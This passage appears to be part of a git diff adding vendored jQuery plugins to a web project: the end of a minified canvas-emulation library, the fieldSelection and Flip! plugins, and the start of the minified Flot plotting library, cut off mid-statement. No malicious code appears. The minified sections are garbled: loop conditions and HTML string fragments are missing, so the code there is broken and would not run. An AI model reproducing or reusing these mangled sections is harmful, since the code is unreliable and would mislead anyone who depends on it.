AW=this.getCoords_(AH,AF);var m=AQ/2;var i=AX/2;var AU=[];var Z=10;var AE=10;AU.push(" ','","");this.element_.insertAdjacentHTML("BeforeEnd",AU.join(""))};M.stroke=function(AM){var m=10;var AN=10;var AE=5000;var AG={x:null,y:null};var AL={x:null,y:null};for(var AH=0;AHAL.x){AL.x=Z.x}if(AG.y==null||Z.yAL.y){AL.y=Z.y}}}AK.push(' ">');if(!AM){R(this,AK)}else{a(this,AK,AG,AL)}AK.push("");this.element_.insertAdjacentHTML("beforeEnd",AK.join(""))}};function R(j,AE){var i=Y(j.strokeStyle);var m=i.color;var p=i.alpha*j.globalAlpha;var Z=j.lineScale_*j.lineWidth;if(Z<1){p*=Z}AE.push("')}function a(AO,AG,Ah,AP){var AH=AO.fillStyle;var AY=AO.arcScaleX_;var AX=AO.arcScaleY_;var Z=AP.x-Ah.x;var m=AP.y-Ah.y;if(AH instanceof v){var AL=0;var Ac={x:0,y:0};var AU=0;var AK=1;if(AH.type_=="gradient"){var AJ=AH.x0_/AY;var j=AH.y0_/AX;var AI=AH.x1_/AY;var Aj=AH.y1_/AX;var Ag=AO.getCoords_(AJ,j);var Af=AO.getCoords_(AI,Aj);var AE=Af.x-Ag.x;var p=Af.y-Ag.y;AL=Math.atan2(AE,p)*180/Math.PI;if(AL<0){AL+=360}if(AL<0.000001){AL=0}}else{var Ag=AO.getCoords_(AH.x0_,AH.y0_);Ac={x:(Ag.x-Ah.x)/Z,y:(Ag.y-Ah.y)/m};Z/=AY*D;m/=AX*D;var Aa=z.max(Z,m);AU=2*AH.r0_/Aa;AK=2*AH.r1_/Aa-AU}var AS=AH.colors_;AS.sort(function(Ak,i){return Ak.offset-i.offset});var AN=AS.length;var AR=AS[0].color;var AQ=AS[AN-1].color;var AW=AS[0].alpha*AO.globalAlpha;var AV=AS[AN-1].alpha*AO.globalAlpha;var Ab=[];for(var Ae=0;Ae')}else{if(AH instanceof u){if(Z&&m){var AF=-Ah.x;var AZ=-Ah.y;AG.push("')}}else{var Ai=Y(AO.fillStyle);var AT=Ai.color;var Ad=Ai.alpha*AO.globalAlpha;AG.push('')}}}M.fill=function(){this.stroke(true)};M.closePath=function(){this.currentPath_.push({type:"close"})};M.getCoords_=function(j,i){var Z=this.m_;return{x:D*(j*Z[0][0]+i*Z[1][0]+Z[2][0])-F,y:D*(j*Z[0][1]+i*Z[1][1]+Z[2][1])-F}};M.save=function(){var Z={};Q(this,Z);this.aStack_.push(Z);this.mStack_.push(this.m_);this.m_=d(V(),this.m_)};M.restore=function(){if(this.aStack_.length){Q(this.aStack_.pop(),this);this.m_=this.mStack_.pop()}};function H(Z){return isFinite(Z[0][0])&&isFinite(Z[0][1])&&isFinite(Z[1][0])&&isFinite(Z[1][1])&&isFinite(Z[2][0])&&isFinite(Z[2][1])}function y(i,Z,j){if(!H(Z)){return }i.m_=Z;if(j){var p=Z[0][0]*Z[1][1]-Z[0][1]*Z[1][0];i.lineScale_=k(b(p))}}M.translate=function(j,i){var Z=[[1,0,0],[0,1,0],[j,i,1]];y(this,d(Z,this.m_),false)};M.rotate=function(i){var m=U(i);var j=J(i);var Z=[[m,j,0],[-j,m,0],[0,0,1]];y(this,d(Z,this.m_),false)};M.scale=function(j,i){this.arcScaleX_*=j;this.arcScaleY_*=i;var Z=[[j,0,0],[0,i,0],[0,0,1]];y(this,d(Z,this.m_),true)};M.transform=function(p,m,AF,AE,i,Z){var j=[[p,m,0],[AF,AE,0],[i,Z,1]];y(this,d(j,this.m_),true)};M.setTransform=function(AE,p,AG,AF,j,i){var Z=[[AE,p,0],[AG,AF,0],[j,i,1]];y(this,Z,true)};M.drawText_=function(AK,AI,AH,AN,AG){var AM=this.m_,AQ=1000,i=0,AP=AQ,AF={x:0,y:0},AE=[];var Z=P(X(this.font),this.element_);var j=AA(Z);var AR=this.element_.currentStyle;var p=this.textAlign.toLowerCase();switch(p){case"left":case"center":case"right":break;case"end":p=AR.direction=="ltr"?"right":"left";break;case"start":p=AR.direction=="rtl"?"right":"left";break;default:p="left"}switch(this.textBaseline){case"hanging":case"top":AF.y=Z.size/1.75;break;case"middle":break;default:case null:case"alphabetic":case"ideographic":case"bottom":AF.y=-Z.size/2.25;break}switch(p){case"right":i=AQ;AP=0.05;break;case"center":i=AP=AQ/2;break}var AO=this.getCoords_(AI+AF.x,AH+AF.y);AE.push('');if(AG){R(this,AE)}else{a(this,AE,{x:-i,y:0},{x:AP,y:Z.size})}var AL=AM[0][0].toFixed(3)+","+AM[1][0].toFixed(3)+","+AM[0][1].toFixed(3)+","+AM[1][1].toFixed(3)+",0,0";var AJ=K(AO.x/D)+","+K(AO.y/D);AE.push('','','');this.element_.insertAdjacentHTML("beforeEnd",AE.join(""))};M.fillText=function(j,Z,m,i){this.drawText_(j,Z,m,i,false)};M.strokeText=function(j,Z,m,i){this.drawText_(j,Z,m,i,true)};M.measureText=function(j){if(!this.textMeasureEl_){var Z='';this.element_.insertAdjacentHTML("beforeEnd",Z);this.textMeasureEl_=this.element_.lastChild}var i=this.element_.ownerDocument;this.textMeasureEl_.innerHTML="";this.textMeasureEl_.style.font=this.font;this.textMeasureEl_.appendChild(i.createTextNode(j));return{width:this.textMeasureEl_.offsetWidth}};M.clip=function(){};M.arcTo=function(){};M.createPattern=function(i,Z){return new u(i,Z)};function v(Z){this.type_=Z;this.x0_=0;this.y0_=0;this.r0_=0;this.x1_=0;this.y1_=0;this.r1_=0;this.colors_=[]}v.prototype.addColorStop=function(i,Z){Z=Y(Z);this.colors_.push({offset:i,color:Z.color,alpha:Z.alpha})};function u(i,Z){q(i);switch(Z){case"repeat":case null:case"":this.repetition_="repeat";break;case"repeat-x":case"repeat-y":case"no-repeat":this.repetition_=Z;break;default:n("SYNTAX_ERR")}this.src_=i.src;this.width_=i.width;this.height_=i.height}function n(Z){throw new o(Z)}function q(Z){if(!Z||Z.nodeType!=1||Z.tagName!="IMG"){n("TYPE_MISMATCH_ERR")}if(Z.readyState!="complete"){n("INVALID_STATE_ERR")}}function o(Z){this.code=this[Z];this.message=Z+": DOM Exception "+this.code}var x=o.prototype=new Error;x.INDEX_SIZE_ERR=1;x.DOMSTRING_SIZE_ERR=2;x.HIERARCHY_REQUEST_ERR=3;x.WRONG_DOCUMENT_ERR=4;x.INVALID_CHARACTER_ERR=5;x.NO_DATA_ALLOWED_ERR=6;x.NO_MODIFICATION_ALLOWED_ERR=7;x.NOT_FOUND_ERR=8;x.NOT_SUPPORTED_ERR=9;x.INUSE_ATTRIBUTE_ERR=10;x.INVALID_STATE_ERR=11;x.SYNTAX_ERR=12;x.INVALID_MODIFICATION_ERR=13;x.NAMESPACE_ERR=14;x.INVALID_ACCESS_ERR=15;x.VALIDATION_ERR=16;x.TYPE_MISMATCH_ERR=17;G_vmlCanvasManager=E;CanvasRenderingContext2D=W;CanvasGradient=v;CanvasPattern=u;DOMException=o})()}; \ No newline at end of file diff --git a/js/jquery/plugins/jquery.fieldselection.js b/js/jquery/plugins/jquery.fieldselection.js new file mode 100755 index 0000000..47ca18b --- /dev/null +++ b/js/jquery/plugins/jquery.fieldselection.js @@ -0,0 +1,84 @@ +/* + * jQuery plugin: fieldSelection - v0.1.0 - last change: 2006-12-16 + * (c) 2006 Alex Brem - http://blog.0xab.cd + */ + +(function() { + + var fieldSelection = { + + getSelection: function() { + + var e = this.jquery ? this[0] : this; + + return ( + + /* mozilla / dom 3.0 */ + ('selectionStart' in e && function() { + var l = e.selectionEnd - e.selectionStart; + console.log(e); + return { start: e.selectionStart, end: e.selectionEnd, length: l, text: e.value.substr(e.selectionStart, l) }; + }) || + + /* exploder */ + (document.selection && function() { + + e.focus(); + + var r = document.selection.createRange(); + if (r == null) { + return { start: 0, end: e.value.length, length: 0 } + } + + var re = e.createTextRange(); + var rc = re.duplicate(); + re.moveToBookmark(r.getBookmark()); + rc.setEndPoint('EndToStart', re); + + return { start: rc.text.length, end: rc.text.length + r.text.length, length: r.text.length, text: r.text }; + }) || + + /* browser not supported */ + function() { + return { start: 0, end: e.value.length, length: 0 }; + } + + )(); + + }, + + replaceSelection: function() { + + var e = this.jquery ? this[0] : this; + var text = arguments[0] || ''; + + return ( + + /* mozilla / dom 3.0 */ + ('selectionStart' in e && function() { + e.value = e.value.substr(0, e.selectionStart) + text + e.value.substr(e.selectionEnd, e.value.length); + return this; + }) || + + /* exploder */ + (document.selection && function() { + e.focus(); + document.selection.createRange().text = text; + return this; + }) || + + /* browser not supported */ + function() { + e.value += text; + return this; + } + + )(); + + } + + }; + + jQuery.each(fieldSelection, function(i) { jQuery.fn[i] = this; }); + +})(); diff --git a/js/jquery/plugins/jquery.flip.js b/js/jquery/plugins/jquery.flip.js new file mode 100755 index 0000000..8eb7e0b --- /dev/null +++ b/js/jquery/plugins/jquery.flip.js @@ -0,0 +1,337 @@ +/* + * Flip! jQuery Plugin (http://lab.smashup.it/flip/) + * @author Luca Manno (luca@smashup.it) [http://i.smashup.it] + * [Original idea by Nicola Rizzo (thanks!)] + * + * @version 0.9.9 [Nov. 2009] + * + * @changelog + * v 0.9.9 -> Fix transparency over non-colored background. Added dontChangeColor option. + * Added $clone and $this parameters to on.. callback functions. + * Force hexadecimal color values. Made safe for noConflict use. + * Some refactoring. [Henrik Hjelte, Jul. 10, 2009] + * Added revert options, fixes and improvements on color management. + * Released in Nov 2009 + * v 0.5 -> Added patch to make it work with Opera (thanks to Peter Siewert), Added callbacks [Feb. 1, 2008] + * v 0.4.1 -> Fixed a regression in Chrome and Safari caused by getTransparent [Oct. 1, 2008] + * v 0.4 -> Fixed some bugs with transparent color. Now Flip! works on non-white backgrounds | Update: jquery.color.js plugin or jqueryUI still needed :( [Sept. 29, 2008] + * v 0.3 -> Now is possibile to define the content after the animation. + * (jQuery object or text/html is allowed) [Sept. 25, 2008] + * v 0.2 -> Fixed chainability and buggy innertext rendering (xNephilimx thanks!) + * v 0.1 -> Starting release [Sept. 11, 2008] + * + */ +(function($) { + +function int_prop(fx){ + fx.elem.style[ fx.prop ] = parseInt(fx.now,10) + fx.unit; +} + +var throwError=function(message) { + throw({name:"jquery.flip.js plugin error",message:message}); +}; + +var isIE6orOlder=function() { + // User agent sniffing is clearly out of fashion and $.browser will be be deprectad. + // Now, I can't think of a way to feature detect that IE6 doesn't show transparent + // borders in the correct way. + // Until then, this function will do, and be partly political correct, allowing + // 0.01 percent of the internet users to tweak with their UserAgent string. + // + // Not leadingWhiteSpace is to separate IE family from, well who knows? + // Maybe some version of Opera? + // The second guess behind this is that IE7+ will keep supporting maxHeight in the future. + + // First guess changed to dean edwards ie sniffing http://dean.edwards.name/weblog/2007/03/sniff/ + return (/*@cc_on!@*/false && (typeof document.body.style.maxHeight === "undefined")); +}; + + +// Some named colors to work with +// From Interface by Stefan Petre +// http://interface.eyecon.ro/ + +var colors = { + aqua:[0,255,255], + azure:[240,255,255], + beige:[245,245,220], + black:[0,0,0], + blue:[0,0,255], + brown:[165,42,42], + cyan:[0,255,255], + darkblue:[0,0,139], + darkcyan:[0,139,139], + darkgrey:[169,169,169], + darkgreen:[0,100,0], + darkkhaki:[189,183,107], + darkmagenta:[139,0,139], + darkolivegreen:[85,107,47], + darkorange:[255,140,0], + darkorchid:[153,50,204], + darkred:[139,0,0], + darksalmon:[233,150,122], + darkviolet:[148,0,211], + fuchsia:[255,0,255], + gold:[255,215,0], + green:[0,128,0], + indigo:[75,0,130], + khaki:[240,230,140], + lightblue:[173,216,230], + lightcyan:[224,255,255], + lightgreen:[144,238,144], + lightgrey:[211,211,211], + lightpink:[255,182,193], + lightyellow:[255,255,224], + lime:[0,255,0], + magenta:[255,0,255], + maroon:[128,0,0], + navy:[0,0,128], + olive:[128,128,0], + orange:[255,165,0], + pink:[255,192,203], + purple:[128,0,128], + violet:[128,0,128], + red:[255,0,0], + silver:[192,192,192], + white:[255,255,255], + yellow:[255,255,0], + transparent: [255,255,255] +}; + +var acceptHexColor=function(color) { + if(color && color.indexOf("#")==-1 && color.indexOf("(")==-1){ + return "rgb("+colors[color].toString()+")"; + } else { + return color; + } +}; + +$.extend( $.fx.step, { + borderTopWidth : int_prop, + borderBottomWidth : int_prop, + borderLeftWidth: int_prop, + borderRightWidth: int_prop +}); + +$.fn.revertFlip = function(){ + return this.each( function(){ + var $this = $(this); + $this.flip($this.data('flipRevertedSettings')); + }); +}; + +$.fn.flip = function(settings){ + return this.each( function() { + var $this=$(this), flipObj, $clone, dirOption, dirOptions, newContent, ie6=isIE6orOlder(); + + if($this.data('flipLock')){ + return false; + } + + var revertedSettings = { + direction: (function(direction){ + switch(direction) + { + case "tb": + return "bt"; + case "bt": + return "tb"; + case "lr": + return "rl"; + case "rl": + return "lr"; + default: + return "bt"; + } + })(settings.direction), + bgColor: acceptHexColor(settings.color) || "#999", + color: acceptHexColor(settings.bgColor) || $this.css("background-color"), + content: $this.html(), + speed: settings.speed || 500, + onBefore: settings.onBefore || function(){}, + onEnd: settings.onEnd || function(){}, + onAnimation: settings.onAnimation || function(){} + }; + + $this + .data('flipRevertedSettings',revertedSettings) + .data('flipLock',1) + .data('flipSettings',revertedSettings); + + flipObj = { + width: $this.width(), + height: $this.height(), + bgColor: acceptHexColor(settings.bgColor) || $this.css("background-color"), + fontSize: $this.css("font-size") || "12px", + direction: settings.direction || "tb", + toColor: acceptHexColor(settings.color) || "#999", + speed: settings.speed || 500, + top: $this.offset().top, + left: $this.offset().left, + target: settings.content || null, + transparent: "transparent", + dontChangeColor: settings.dontChangeColor || false, + onBefore: settings.onBefore || function(){}, + onEnd: settings.onEnd || function(){}, + onAnimation: settings.onAnimation || function(){} + }; + + // This is the first part of a trick to support + // transparent borders using chroma filter for IE6 + // The color below is arbitrary, lets just hope it is not used in the animation + ie6 && (flipObj.transparent="#123456"); + + $clone= $this.css("visibility","hidden") + .clone(true) + .data('flipLock',1) + .appendTo("body") + .html("") + .css({visibility:"visible",position:"absolute",left:flipObj.left,top:flipObj.top,margin:0,zIndex:9999,"-webkit-box-shadow":"0px 0px 0px #000","-moz-box-shadow":"0px 0px 0px #000"}); + + var defaultStart=function() { + return { + backgroundColor: flipObj.transparent, + fontSize:0, + lineHeight:0, + borderTopWidth:0, + borderLeftWidth:0, + borderRightWidth:0, + borderBottomWidth:0, + borderTopColor:flipObj.transparent, + borderBottomColor:flipObj.transparent, + borderLeftColor:flipObj.transparent, + borderRightColor:flipObj.transparent, + background: "none", + borderStyle:'solid', + height:0, + width:0 + }; + }; + var defaultHorizontal=function() { + var waist=(flipObj.height/100)*25; + var start=defaultStart(); + start.width=flipObj.width; + return { + "start": start, + "first": { + borderTopWidth: 0, + borderLeftWidth: waist, + borderRightWidth: waist, + borderBottomWidth: 0, + borderTopColor: '#999', + borderBottomColor: '#999', + top: (flipObj.top+(flipObj.height/2)), + left: (flipObj.left-waist)}, + "second": { + borderBottomWidth: 0, + borderTopWidth: 0, + borderLeftWidth: 0, + borderRightWidth: 0, + borderTopColor: flipObj.transparent, + borderBottomColor: flipObj.transparent, + top: flipObj.top, + left: flipObj.left} + }; + }; + var defaultVertical=function() { + var waist=(flipObj.height/100)*25; + var start=defaultStart(); + start.height=flipObj.height; + return { + "start": start, + "first": { + borderTopWidth: waist, + borderLeftWidth: 0, + borderRightWidth: 0, + borderBottomWidth: waist, + borderLeftColor: '#999', + borderRightColor: '#999', + top: flipObj.top-waist, + left: flipObj.left+(flipObj.width/2)}, + "second": { + borderTopWidth: 0, + borderLeftWidth: 0, + borderRightWidth: 0, + borderBottomWidth: 0, + borderLeftColor: flipObj.transparent, + borderRightColor: flipObj.transparent, + top: flipObj.top, + left: flipObj.left} + }; + }; + + dirOptions = { + "tb": function () { + var d=defaultHorizontal(); + d.start.borderTopWidth=flipObj.height; + d.start.borderTopColor=flipObj.bgColor; + d.second.borderBottomWidth= flipObj.height; + d.second.borderBottomColor= flipObj.toColor; + return d; + }, + "bt": function () { + var d=defaultHorizontal(); + d.start.borderBottomWidth=flipObj.height; + d.start.borderBottomColor= flipObj.bgColor; + d.second.borderTopWidth= flipObj.height; + d.second.borderTopColor= flipObj.toColor; + return d; + }, + "lr": function () { + var d=defaultVertical(); + d.start.borderLeftWidth=flipObj.width; + d.start.borderLeftColor=flipObj.bgColor; + d.second.borderRightWidth= flipObj.width; + d.second.borderRightColor= flipObj.toColor; + return d; + }, + "rl": function () { + var d=defaultVertical(); + d.start.borderRightWidth=flipObj.width; + d.start.borderRightColor=flipObj.bgColor; + d.second.borderLeftWidth= flipObj.width; + d.second.borderLeftColor= flipObj.toColor; + return d; + } + }; + + dirOption=dirOptions[flipObj.direction](); + + // Second part of IE6 transparency trick. + ie6 && (dirOption.start.filter="chroma(color="+flipObj.transparent+")"); + + newContent = function(){ + var target = flipObj.target; + return target && target.jquery ? target.html() : target; + }; + + $clone.queue(function(){ + flipObj.onBefore($clone,$this); + $clone.html('').css(dirOption.start); + $clone.dequeue(); + }); + + $clone.animate(dirOption.first,flipObj.speed); + + $clone.queue(function(){ + flipObj.onAnimation($clone,$this); + $clone.dequeue(); + }); + $clone.animate(dirOption.second,flipObj.speed); + + $clone.queue(function(){ + if (!flipObj.dontChangeColor) { + $this.css({backgroundColor: flipObj.toColor}); + } + $this.css({visibility: "visible"}); + + var nC = newContent(); + if(nC){$this.html(nC);} + $clone.remove(); + flipObj.onEnd($clone,$this); + $this.removeData('flipLock'); + $clone.dequeue(); + }); + }); +}; +})(jQuery); diff --git a/js/jquery/plugins/jquery.flot.js b/js/jquery/plugins/jquery.flot.js new file mode 100755 index 0000000..4467fc5 --- /dev/null +++ b/js/jquery/plugins/jquery.flot.js @@ -0,0 +1,6 @@ +/* Javascript plotting library for jQuery, v. 0.7. + * + * Released under the MIT license by IOLA, December 2007. + * + */ +(function(b){b.color={};b.color.make=function(d,e,g,f){var c={};c.r=d||0;c.g=e||0;c.b=g||0;c.a=f!=null?f:1;c.add=function(h,j){for(var k=0;k=1){return"rgb("+[c.r,c.g,c.b].join(",")+")"}else{return"rgba("+[c.r,c.g,c.b,c.a].join(",")+")"}};c.normalize=function(){function h(k,j,l){return jl?l:j)}c.r=h(0,parseInt(c.r),255);c.g=h(0,parseInt(c.g),255);c.b=h(0,parseInt(c.b),255);c.a=h(0,c.a,1);return c};c.clone=function(){return b.color.make(c.r,c.b,c.g,c.a)};return c.normalize()};b.color.extract=function(d,e){var c;do{c=d.css(e).toLowerCase();if(c!=""&&c!="transparent"){break}d=d.parent()}while(!b.nodeName(d.get(0),"body"));if(c=="rgba(0, 0, 0, 0)"){c="transparent"}return b.color.parse(c)};b.color.parse=function(c){var d,f=b.color.make;if(d=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c)){return f(parseInt(d[1],10),parseInt(d[2],10),parseInt(d[3],10))}if(d=/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(c)){return f(parseInt(d[1],10),parseInt(d[2],10),parseInt(d[3],10),parseFloat(d[4]))}if(d=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c)){return f(parseFloat(d[1])*2.55,parseFloat(d[2])*2.55,parseFloat(d[3])*2.55)}if(d=/rgba\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(c)){return f(parseFloat(d[1])*2.55,parseFloat(d[2])*2.55,parseFloat(d[3])*2.55,parseFloat(d[4]))}if(d=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c)){return f(parseInt(d[1],16),parseInt(d[2],16),parseInt(d[3],16))}if(d=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c)){return f(parseInt(d[1]+d[1],16),parseInt(d[2]+d[2],16),parseInt(d[3]+d[3],16))}var e=b.trim(c).toLowerCase();if(e=="transparent"){return f(255,255,255,0)}else{d=a[e]||[0,0,0];return f(d[0],d[1],d[2])}};var a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0]}})(jQuery);(function(c){function b(av,ai,J,af){var Q=[],O={colors:["#edc240","#afd8f8","#cb4b4b","#4da74d","#9440ed"],legend:{show:true,noColumns:1,labelFormatter:null,labelBoxBorderColor:"#ccc",container:null,position:"ne",margin:5,backgroundColor:null,backgroundOpacity:0.85},xaxis:{show:null,position:"bottom",mode:null,color:null,tickColor:null,transform:null,inverseTransform:null,min:null,max:null,autoscaleMargin:null,ticks:null,tickFormatter:null,labelWidth:null,labelHeight:null,reserveSpace:null,tickLength:null,alignTicksWithAxis:null,tickDecimals:null,tickSize:null,minTickSize:null,monthNames:null,timeformat:null,twelveHourClock:false},yaxis:{autoscaleMargin:0.02,position:"left"},xaxes:[],yaxes:[],series:{points:{show:false,radius:3,lineWidth:2,fill:true,fillColor:"#ffffff",symbol:"circle"},lines:{lineWidth:2,fill:false,fillColor:null,steps:false},bars:{show:false,lineWidth:2,barWidth:1,fill:true,fillColor:null,align:"left",horizontal:false},shadowSize:3},grid:{show:true,aboveData:false,color:"#545454",backgroundColor:null,borderColor:null,tickColor:null,labelMargin:5,axisMargin:8,borderWidth:2,minBorderMargin:null,markings:null,markingsColor:"#f4f4f4",markingsLineWidth:2,clickable:false,hoverable:false,autoHighlight:true,mouseActiveRadius:10},hooks:{}},az=null,ad=null,y=null,H=null,A=null,p=[],aw=[],q={left:0,right:0,top:0,bottom:0},G=0,I=0,h=0,w=0,ak={processOptions:[],processRawData:[],processDatapoints:[],drawSeries:[],draw:[],bindEvents:[],drawOverlay:[],shutdown:[]},aq=this;aq.setData=aj;aq.setupGrid=t;aq.draw=W;aq.getPlaceholder=function(){return av};aq.getCanvas=function(){return az};aq.getPlotOffset=function(){return q};aq.width=function(){return h};aq.height=function(){return w};aq.offset=function(){var aB=y.offset();aB.left+=q.left;aB.top+=q.top;return aB};aq.getData=function(){return Q};aq.getAxes=function(){var aC={},aB;c.each(p.concat(aw),function(aD,aE){if(aE){aC[aE.direction+(aE.n!=1?aE.n:"")+"axis"]=aE}});return aC};aq.getXAxes=function(){return p};aq.getYAxes=function(){return aw};aq.c2p=C;aq.p2c=ar;aq.getOptions=function(){return O};aq.highlight=x;aq.unhighlight=T;aq.triggerRedrawOverlay=f;aq.pointOffset=function(aB){return{left:parseInt(p[aA(aB,"x")-1].p2c(+aB.x)+q.left),top:parseInt(aw[aA(aB,"y")-1].p2c(+aB.y)+q.top)}};aq.shutdown=ag;aq.resize=function(){B();g(az);g(ad)};aq.hooks=ak;F(aq);Z(J);X();aj(ai);t();W();ah();function an(aD,aB){aB=[aq].concat(aB);for(var aC=0;aC=O.colors.length){aG=0;++aF}}var aH=0,aN;for(aG=0;aGa3.datamax&&a1!=aB){a3.datamax=a1}}c.each(m(),function(a1,a2){a2.datamin=aO;a2.datamax=aI;a2.used=false});for(aU=0;aU0&&aT[aR-aP]!=null&&aT[aR-aP]!=aT[aR]&&aT[aR-aP+1]!=aT[aR+1]){for(aN=0;aNaM){aM=a0}}if(aX.y){if(a0aV){aV=a0}}}}if(aJ.bars.show){var aY=aJ.bars.align=="left"?0:-aJ.bars.barWidth/2;if(aJ.bars.horizontal){aQ+=aY;aV+=aY+aJ.bars.barWidth}else{aK+=aY;aM+=aY+aJ.bars.barWidth}}aF(aJ.xaxis,aK,aM);aF(aJ.yaxis,aQ,aV)}c.each(m(),function(a1,a2){if(a2.datamin==aO){a2.datamin=null}if(a2.datamax==aI){a2.datamax=null}})}function j(aB,aC){var aD=document.createElement("canvas");aD.className=aC;aD.width=G;aD.height=I;if(!aB){c(aD).css({position:"absolute",left:0,top:0})}c(aD).appendTo(av);if(!aD.getContext){aD=window.G_vmlCanvasManager.initElement(aD)}aD.getContext("2d").save();return aD}function B(){G=av.width();I=av.height();if(G<=0||I<=0){throw"Invalid dimensions for plot, width = "+G+", height = "+I}}function g(aC){if(aC.width!=G){aC.width=G}if(aC.height!=I){aC.height=I}var aB=aC.getContext("2d");aB.restore();aB.save()}function X(){var aC,aB=av.children("canvas.base"),aD=av.children("canvas.overlay");if(aB.length==0||aD==0){av.html("");av.css({padding:0});if(av.css("position")=="static"){av.css("position","relative")}B();az=j(true,"base");ad=j(false,"overlay");aC=false}else{az=aB.get(0);ad=aD.get(0);aC=true}H=az.getContext("2d");A=ad.getContext("2d");y=c([ad,az]);if(aC){av.data("plot").shutdown();aq.resize();A.clearRect(0,0,G,I);y.unbind();av.children().not([az,ad]).remove()}av.data("plot",aq)}function ah(){if(O.grid.hoverable){y.mousemove(aa);y.mouseleave(l)}if(O.grid.clickable){y.click(R)}an(ak.bindEvents,[y])}function ag(){if(M){clearTimeout(M)}y.unbind("mousemove",aa);y.unbind("mouseleave",l);y.unbind("click",R);an(ak.shutdown,[y])}function r(aG){function aC(aH){return aH}var aF,aB,aD=aG.options.transform||aC,aE=aG.options.inverseTransform;if(aG.direction=="x"){aF=aG.scale=h/Math.abs(aD(aG.max)-aD(aG.min));aB=Math.min(aD(aG.max),aD(aG.min))}else{aF=aG.scale=w/Math.abs(aD(aG.max)-aD(aG.min));aF=-aF;aB=Math.max(aD(aG.max),aD(aG.min))}if(aD==aC){aG.p2c=function(aH){return(aH-aB)*aF}}else{aG.p2c=function(aH){return(aD(aH)-aB)*aF}}if(!aE){aG.c2p=function(aH){return aB+aH/aF}}else{aG.c2p=function(aH){return aE(aB+aH/aF)}}}function L(aD){var aB=aD.options,aF,aJ=aD.ticks||[],aI=[],aE,aK=aB.labelWidth,aG=aB.labelHeight,aC;function aH(aM,aL){return c('
    '+aM.join("")+"
    ").appendTo(av)}if(aD.direction=="x"){if(aK==null){aK=Math.floor(G/(aJ.length>0?aJ.length:1))}if(aG==null){aI=[];for(aF=0;aF'+aE+"
    ")}}if(aI.length>0){aI.push('
    ');aC=aH(aI,"width:10000px;");aG=aC.height();aC.remove()}}}else{if(aK==null||aG==null){for(aF=0;aF'+aE+"
    ")}}if(aI.length>0){aC=aH(aI,"");if(aK==null){aK=aC.children().width()}if(aG==null){aG=aC.find("div.tickLabel").height()}aC.remove()}}}if(aK==null){aK=0}if(aG==null){aG=0}aD.labelWidth=aK;aD.labelHeight=aG}function au(aD){var aC=aD.labelWidth,aL=aD.labelHeight,aH=aD.options.position,aF=aD.options.tickLength,aG=O.grid.axisMargin,aJ=O.grid.labelMargin,aK=aD.direction=="x"?p:aw,aE;var aB=c.grep(aK,function(aN){return aN&&aN.options.position==aH&&aN.reserveSpace});if(c.inArray(aD,aB)==aB.length-1){aG=0}if(aF==null){aF="full"}var aI=c.grep(aK,function(aN){return aN&&aN.reserveSpace});var aM=c.inArray(aD,aI)==0;if(!aM&&aF=="full"){aF=5}if(!isNaN(+aF)){aJ+=+aF}if(aD.direction=="x"){aL+=aJ;if(aH=="bottom"){q.bottom+=aL+aG;aD.box={top:I-q.bottom,height:aL}}else{aD.box={top:q.top+aG,height:aL};q.top+=aL+aG}}else{aC+=aJ;if(aH=="left"){aD.box={left:q.left+aG,width:aC};q.left+=aC+aG}else{q.right+=aC+aG;aD.box={left:G-q.right,width:aC}}}aD.position=aH;aD.tickLength=aF;aD.box.padding=aJ;aD.innermost=aM}function U(aB){if(aB.direction=="x"){aB.box.left=q.left;aB.box.width=h}else{aB.box.top=q.top;aB.box.height=w}}function t(){var aC,aE=m();c.each(aE,function(aF,aG){aG.show=aG.options.show;if(aG.show==null){aG.show=aG.used}aG.reserveSpace=aG.show||aG.options.reserveSpace;n(aG)});allocatedAxes=c.grep(aE,function(aF){return aF.reserveSpace});q.left=q.right=q.top=q.bottom=0;if(O.grid.show){c.each(allocatedAxes,function(aF,aG){S(aG);P(aG);ap(aG,aG.ticks);L(aG)});for(aC=allocatedAxes.length-1;aC>=0;--aC){au(allocatedAxes[aC])}var aD=O.grid.minBorderMargin;if(aD==null){aD=0;for(aC=0;aC=0){aD=0}}if(aF.max==null){aB+=aH*aG;if(aB>0&&aE.datamax!=null&&aE.datamax<=0){aB=0}}}}aE.min=aD;aE.max=aB}function S(aG){var aM=aG.options;var aH;if(typeof aM.ticks=="number"&&aM.ticks>0){aH=aM.ticks}else{aH=0.3*Math.sqrt(aG.direction=="x"?G:I)}var aT=(aG.max-aG.min)/aH,aO,aB,aN,aR,aS,aQ,aI;if(aM.mode=="time"){var aJ={second:1000,minute:60*1000,hour:60*60*1000,day:24*60*60*1000,month:30*24*60*60*1000,year:365.2425*24*60*60*1000};var 